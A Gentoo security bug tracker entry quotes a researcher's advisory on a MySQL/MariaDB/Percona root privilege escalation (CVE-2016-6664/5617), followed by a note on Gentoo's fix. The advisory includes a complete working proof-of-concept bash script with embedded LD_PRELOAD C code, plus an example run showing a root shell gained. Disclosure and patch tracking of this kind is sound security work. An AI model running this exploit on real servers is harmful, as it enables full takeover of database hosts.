Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 599332 (CVE-2016-5617, CVE-2016-6664) - [TRACKER] MySQL Root Privilege Escalation (CVE-2016-{5617,6664})
Summary: [TRACKER] MySQL Root Privilege Escalation (CVE-2016-{5617,6664})
Status: RESOLVED FIXED
Alias: CVE-2016-5617, CVE-2016-6664
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal normal (vote)
Assignee: Gentoo Security
URL: https://legalhackers.com/advisories/M...
Whiteboard: B1 [glsa cve]
Keywords: Tracker
Depends on: CVE-2016-3492, CVE-2016-3495, CVE-2016-5507, CVE-2016-5584, CVE-2016-5609, CVE-2016-5612, CVE-2016-5616, CVE-2016-5624, CVE-2016-5625, CVE-2016-5626, CVE-2016-5627, CVE-2016-5628, CVE-2016-5629, CVE-2016-5630, CVE-2016-5631, CVE-2016-5632, CVE-2016-5633, CVE-2016-5634, CVE-2016-5635, CVE-2016-7440, CVE-2016-8283, CVE-2016-8284, CVE-2016-8286, CVE-2016-8287, CVE-2016-8288, CVE-2016-8289, CVE-2016-8290 CVE-2016-6663 599338
Blocks:
  Show dependency tree
 
Reported: 2016-11-09 19:31 UTC by Thomas Deutschmann (RETIRED)
Modified: 2017-07-15 22:32 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Thomas Deutschmann (RETIRED) gentoo-dev 2016-11-09 19:31:03 UTC
From $URL:

I. VULNERABILITY
-------------------------

MySQL / MariaDB / Percona   -   Root Privilege Escalation

MySQL  
	<= 5.5.51
	<= 5.6.32
	<= 5.7.14

MariaDB
	All current

Percona Server
	< 5.5.51-38.2
	< 5.6.32-78-1
	< 5.7.14-8

Percona XtraDB Cluster
	< 5.6.32-25.17
	< 5.7.14-26.17
	< 5.5.41-37.0


II. BACKGROUND
-------------------------

MySQL:

"MySQL is the world's most popular open source database.
Whether you are a fast growing web property, technology ISV or large
enterprise, MySQL can cost-effectively help you deliver high performance,
scalable database applications."

"Many of the world's largest and fastest-growing organizations including
Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time
and money powering their high-volume Web sites, business-critical systems and
packaged software."

http://www.mysql.com/products/
http://www.mysql.com/why-mysql/

--

MariaDB:

"MariaDB is one of the most popular database servers in the world. 
It's made by the original developers of MySQL and guaranteed to stay open source. 
Notable users include Wikipedia, WordPress.com and Google.

MariaDB turns data into structured information in a wide array of applications, 
ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL. 
MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of 
storage engines, plugins and many other tools make it very versatile for a wide 
variety of use cases."

https://mariadb.org/about/

--

Percona:

"Percona Server for MySQL is a free, fully compatible, enhanced, open source 
drop-in replacement for MySQL that provides superior performance, scalability 
and instrumentation. 
With over 3,000,000 downloads, Percona Server's self-tuning algorithms and support
for extremely high-performance hardware delivers excellent performance and reliability."

https://www.percona.com/software/mysql-database/percona-server


III. INTRODUCTION
-------------------------

MySQL-based databases including MySQL, MariaDB and Percona are affected
by a privilege escalation vulnerability which can let attackers who have
gained access to mysql system user to further escalate their privileges
to root user allowing them to fully compromise the system.
The vulnerability stems from unsafe file handling of error logs and
other files.


IV. DESCRIPTION
-------------------------

The error.log file on most default installations of MySQL/Percona/MariaDB
databases is stored either in /var/log/mysql or /var/lib/mysql directory.

The permissions on the file and directory look as follows:

root@trusty:/var/lib/mysql# ls -la /var/log/mysql
total 468
drwxr-s---  2 mysql adm      4096 Sep 11 06:25 .
drwxrwxr-x 36 root  syslog   4096 Sep 11 06:25 ..
-rw-r-----  1 mysql adm         0 Sep 11 06:25 error.log

root@trusty:/var/lib/mysql# ls -lad /var/log/mysql
drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql


mysqld_safe wrapper that is normally used for starting MySQL daemon and 
creating/reopening the error.log performs certain unsafe file operations that
may allow attackers to gain root privileges.

The wrapper script contains a 'while' loop shown below which monitors the mysqld 
process and performs a restart in case of the process failure.  
The restart involves re-creation of the error.log file if syslog logging has
not been configured instead of error log files (file-based logging is the 
default setting on most installations).


--------[ mysqld_safe ]--------
[...]

while true
do
  rm -f "$pid_file"     # Some extra safety

  start_time=`date +%M%S`

  eval_log_error "$cmd"

  if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
    touch "$err_log"                    # hypothetical: log was renamed but not
    chown $user "$err_log"              # flushed yet. we'd recreate it with
    chmod "$fmode" "$err_log"           # wrong owner next time we log, so set
  fi                                    # it up correctly while we can!

[...]

-------------------------------

As can be seen, the error.log file is created (touch) and chowned to the user
running the mysqld daemon (typically 'mysql'). 

The operation is vulnerable to a symlink attack.

Attackers who obtained access to mysql account, through CVE-2016-6663
vulnerability described at:

http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

would gain access to /var/log or /var/lib/mysql directories (owned by mysql user) 
and could therefore easily remove the error.log file and replace it 
with a symlink to an arbitrary system file and escalate privileges.

The privilege escalation could be triggered instantly (without the need to wait
for mysql service restart/reboot) by attackers having 'mysql' account by simply 
killing the mysqld child process (launched by the mysqld_safe wrapper).

When the mysqld process gets terminated, the wrapper will then re-itertate the 
loop shown above and immediately create a mysql-owned file in the location 
specified by the attacker in the symlink thus allowing attackers to quickly
escalate their privileges.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

-------[ mysql-chowned.sh ]------

#!/bin/bash -p
#
# MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
# mysql-chowned.sh (ver. 1.1)
#
# CVE-2016-6664 / CVE-2016-5617
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# This PoC exploit allows attackers to (instantly) escalate their privileges
# from mysql system account to root through unsafe error log handling.
# The exploit requires that file-based logging has been configured (default).
# To confirm that syslog logging has not been enabled instead use:
# grep -r syslog /etc/mysql
# which should return no results.
#
# This exploit can be chained with the following vulnerability:
# CVE-2016-6663 / CVE-2016-5616
# which allows attackers to gain access to mysql system account (mysql shell).
#
# In case database server has been configured with syslog you may also use:
# CVE-2016-6662 as an alternative to this exploit.
#
# Usage:
# ./mysql-chowned.sh path_to_error.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/mysqlrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 
echo -e "\033[94m \nMySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / CVE-2016-5617\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
	echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
	exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"
id | grep -q mysql 
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
	echo -e "\n[!] The specified MySQL error log ($ERRORLOG) doesn't exist. Try again.\n"
	exit 3
fi
echo -e "\n[+] Target MySQL log file set to $ERRORLOG"

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		//unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the log file to /etc
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

# Wait for MySQL to re-open the logs
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
echo -n "Do you want to kill mysqld process `pidof mysqld` to instantly get root? :) ? [y/n] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
	echo -e "Got it. Executing 'killall mysqld' now..."
	killall mysqld
fi
while :; do 
	sleep 0.1
	if [ -f /etc/ld.so.preload ]; then
		echo $PRIVESCLIB > /etc/ld.so.preload
		rm -f $ERRORLOG
		break;
	fi
done

# /etc/	dir should be owned by mysql user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

#while :; do 
#	sleep 0.1
#	ps aux | grep mysqld | grep -q 'log-error'
#	if [ $? -eq 0 ]; then
#		break;
#	fi
#done

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"
else
	echo -e "\n[!] Failed to get root"
	cleanexit 2
fi


# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

------------EOF------------------


Example run
~~~~~~~~~~~~~~~~

mysql_suid_shell.MYD-4.3$ whoami
mysql

omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server
iU  percona-server-server              5.6.32-78.0-1.xenial              amd64        Percona Server database server
iF  percona-server-server-5.6          5.6.32-78.0-1.xenial              amd64        Percona Server database server binaries

mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err 
 
MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit 
mysql-chowned.sh (ver. 1.0)

CVE-2016-6664 / CVE-2016-5617

Discovered and coded by: 

Dawid Golunski 
http://legalhackers.com 

[+] Starting the exploit as 
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

[+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 mysql attacker 1037528 Nov  1 05:08 /tmp/mysqlrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 mysql attacker 18 Nov  1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload

[+] Waiting for MySQL to re-open the logs/MySQL service restart...
Do you want to kill mysqld process to instantly get root? :) ? [y/n] y
Got it. Executing 'killall mysqld' now...

[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: 
-rw-r----- 1 mysql root 19 Nov  1 05:08 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037528 Nov  1 05:08 /tmp/mysqlrootsh

Got root! The database server has been ch-OWNED !

[+] Spawning the rootshell /tmp/mysqlrootsh now! 

mysqlrootsh-4.3# whoami
root

mysqlrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0



Video PoC:
~~~~~~~~~~~~~

http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html


VI. BUSINESS IMPACT
-------------------------

Although the severity of this issue is lower on its own (attackers need to
gain access to mysql system user), the vulnerability could easily be combined 
with the CVE-2016-6663 issue.
The combination of the two would effectively allow low privileged local 
database users to escalate their system privileges to root system account and 
allow them to fully compromise the server which increases the severity of this
issue.

 
VII. SYSTEMS AFFECTED
-------------------------

MySQL  
	<= 5.5.51
	<= 5.6.32
	<= 5.7.14

MariaDB
	All current

Percona Server
	< 5.5.51-38.2
	< 5.6.32-78-1
	< 5.7.14-8

Percona XtraDB Cluster
	< 5.6.32-25.17
	< 5.7.14-26.17
	< 5.5.41-37.0
 
VIII. SOLUTION
-------------------------

The root privilege escalation vulnerability described in this advisory was 
reported to Oracle in July 2016 (together with previously reported critical 
issue of CVE-2016-6662).

All of the vendors - MariaDB/MySQL/Percona have received a copy of this 
advisory in advance which allowed them to produce patches for this 
vulnerability before the release of this advisory.

When checking if your system contains the patches, note that this vulnerability
has been known under two CVE IDs:

CVE-2016-6664
CVE-2016-5617 (Oracle)

CVE-2016-6664 is the original CVE that was agreed to be used by all the
affected vendors for this vulnerability.
The issue was however mentioned in Oracle CPU mistakenly under a new CVE of
CVE-2016-5617, resulting in a duplicate. Oracle has informed that CPU will be
updated to state that CVE-2016-5617 is equivalent to CVE-2016-6664.


Patches and security releases have been issued by the vendors and can
be found on the official vendor websites (see references below which contain
links to advisories issued by each vendor). 
MariaDB has postponed patching for the next release.
Comment 1 Thomas Deutschmann (RETIRED) gentoo-dev 2016-11-09 19:40:01 UTC
The critical part only affected systemd setups on Gentoo due to mysqld_safe usage from dev-db/mysql-init-scripts package. This was resolved in https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=19488c726460a55eb7b134687ac71fe6e9db77db as part of bug 593584.